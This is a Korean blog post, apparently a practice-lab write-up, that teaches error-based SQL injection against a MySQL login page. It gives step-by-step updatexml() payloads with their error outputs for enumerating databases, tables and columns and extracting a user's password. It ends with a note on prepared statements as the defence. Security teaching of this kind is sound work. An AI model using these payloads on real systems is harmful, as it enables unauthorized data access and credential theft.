2021. 11. 2. 13:27ㆍ실습
일부러 에러메시지를 발생시켜서 화면에 출력되는 내용으로 정보를 얻는 공격 기법
단, 문법에러가 아닌 논리에러를 발생시켜야 한다.
로그인 페이지에서 준비되어있는 쿼리를 추측하고
함수를 활용하여 에러메시지를 출력해보자.
Error based SQLi 활용 함수
updatexml -> xml에서 특정구문을 파싱하는 함수이다.
1' and updatexml(null, concat(0x3a, (select 'test')), null) and '1' = '1
적용된 쿼리
select ~ where id = '1' and updatexml(null, concat(0x3a, (select 'test')), null) and '1' = '1'
실행결과
에러내용
Could not update data: XPATH syntax error: ':test'
경로가 없기 때문에 에러가 발생한다.
쿼리는 실행되었지만, :test 경로가 존재하지 않기 때문에 발생된 에러이다.
이를 이용하는 것이 error based SQLi이다.
STEP 1.
DB명 알아내기
1' and updatexml(null, concat(0x3a, (select database())), null) and '1'='1
적용된 쿼리
select ~ where id = '1' and updatexml(null, concat(0x3a, (select database())), null) and '1'='1'
실행결과
에러내용
Could not update data: XPATH syntax error: ':segFault_sqli'
모든 DB명
1' and updatexml(null, concat(0x3a, (select schema_name from information_schema.schemata)), null) and '1'='1
적용된 쿼리
select ~ where id = '1' and updatexml(null, concat(0x3a, (select schema_name from information_schema.schemata)), null) and '1'='1'
실행결과
에러내용
Could not update data: Subquery returns more than 1 row
more than 1 row -> 응답 결과가 1행 이상으로 많아서 데이터를 가져올 수 없다는 내용이 출력된다.
이 때, 사용하는 것으로 LIMIT이 있다. LIMIT은 에러메시지에 한행의 데이터만 포함하여 출력하도록 해준다.
LIMIT
select ~ limit 0,1 : 0번째 부터 1개를 가져옴
1,1 : 1번째 부터 1개를 가져옴
사용할 쿼리
1' and updatexml(null, concat(0x3a, (select schema_name from information_schema.schemata limit 0,1)), null) and '1'='1
적용된 쿼리
select ~ where id = '1' and updatexml(null, concat(0x3a, (select schema_name from information_schema.schemata limit 0,1)), null) and '1'='1'
실행결과
0, 1 : 0번째 행에서 하나의 데이터
1, 1 : 1번째 행에서 하나의 데이터
이런식으로 숫자를 limit의 인자를 바꿔가며 information_schema.schemata 테이블에는 어떠한 db정보가 있는지를 schema_name 컬럼의 데이터를 하나씩 가져오는 것으로 확인할 수 있다.
에러내용
Could not update data: XPATH syntax error: ':information_schema'
업데이트 할 수 없다 ':information_schema' 해당 경로가 존재하지 않는다.
당연히 :information_schema과 같은 경로는 존재하지 않기 때문에 업데이트에 실패할 뿐만 아니라
실패했다면서 에러메시지로 어떤 경로에 업데이트 하는 것을 실패했는지(내가 알고자하는 DB명)를 출력해준다.
STEP 2.
테이블명 알아내기
ex) select table_name from infromation_schema.tables where table_schema = 'segFault_sqli'
1' and updatexml(null, concat(0x3a, (select table_name from information_schema.tables where table_schema = 'segFault_sqli' limit 0,1)), null) and '1' = '1
적용된 쿼리
select where id = '1' and updatexml(null, concat(0x3a, (select table_name from information_schema.tables where table_schema = 'segFault_sqli' limit 0,1)), null) and '1' = '1'
실행결과
에러내용
Could not update data: XPATH syntax error: ':book_info'
STEP 3.
컬럼명 알아내기
1' and updatexml(null, concat(0x3a, (select column_name from information_schema.columns where table_name = 'user_info' limit 0,1)), null) and '1' = '1
적용된 쿼리
select ~ where id = '1' and updatexml(null, concat(0x3a, (select column_name from information_schema.columns where table_schema = 'user_info' limit 0,1)), null) and '1' = '1'
실행결과
데이터 행을 limit을 통해 한 행으로 제어하며 가져온다.
에러내용
Could not update data: XPATH syntax error: ':id'
STEP4.
원하는 데이터 추출
만약 사용자 mario의 password 데이터를 알아내고 싶다고 가정
방법 1.
순서
① id가 mario인 사용자가 몇번째 행에 있는지를 파악
② password 검색 시 해당 행의 password 컬럼 데이터를 가지고 오기
1' and updatexml(null, concat(0x3a, (select id from user_info limit 2,1)), null) and '1' = '1
=> 'mario'
id컬럼의 3번째 데이터임을 확인
1' and updatexml(null, concat(0x3a, (select password from user_info limit 2,1)), null) and '1' = '1
=> 'Candy8282'
방법 2.
select password from user_info where id = 'mario'
1' and updatexml(null, concat(0x3a, (select password from user_info where id ='mario')), null) and '1' = '1
적용된 쿼리
select ~ where id = '1' and updatexml(null, concat(0x3a, (select password from user_info where id ='mario')), null) and '1' = '1'
실행결과
에러내용
Could not update data: XPATH syntax error: ':Candy8282'
and '1' ='1을 사용하는 이유?
SQL Injection이 존재하는지 알고있는 상황에서 항등원과 같은 개념의 참인 구문을 추가해주는 것은
단따옴표(')를 맞춰주기 위함.
참 and 참 = 참
SQL Injection 일어나는 이유
> 사용자 파라미터를 SQL 질의문에 그대로 삽입했기 때문이다.
그렇다고 들어온 파라미터를 검사하는 것은 근본적인 보안 대책이 아니다.
* prepared statement
컴파일 된 기계어를 준비 시켜 놓고, 사용자가 파라미터를 전달하면 그 값만 넣어 실행한다.
사용자가 넣은 값은 SQL 질의문으로 인식되지 않는다.
=> SQL Injection이 원천적으로 차단되고, 보안이 개선되는 만능이지만 허점이 존재한다.
'실습' 카테고리의 다른 글
[SQL Injection - 데이터 추출] 3-2.Error Based SQLi 자동화 프로그램 (0) | 2021.11.05 |
---|---|
[SQL Injection - 데이터 추출] 2-1.Union SQLi 실습 (0) | 2021.10.31 |
로그인 페이지 패킷 확인 & 데이터 흐름 이해 (0) | 2021.10.25 |
Notepad++ NppFTP 플러그인 설치 및 활용 (0) | 2021.10.24 |
가상 머신(ubuntu)과 HostPC(window) 연결 (0) | 2021.10.23 |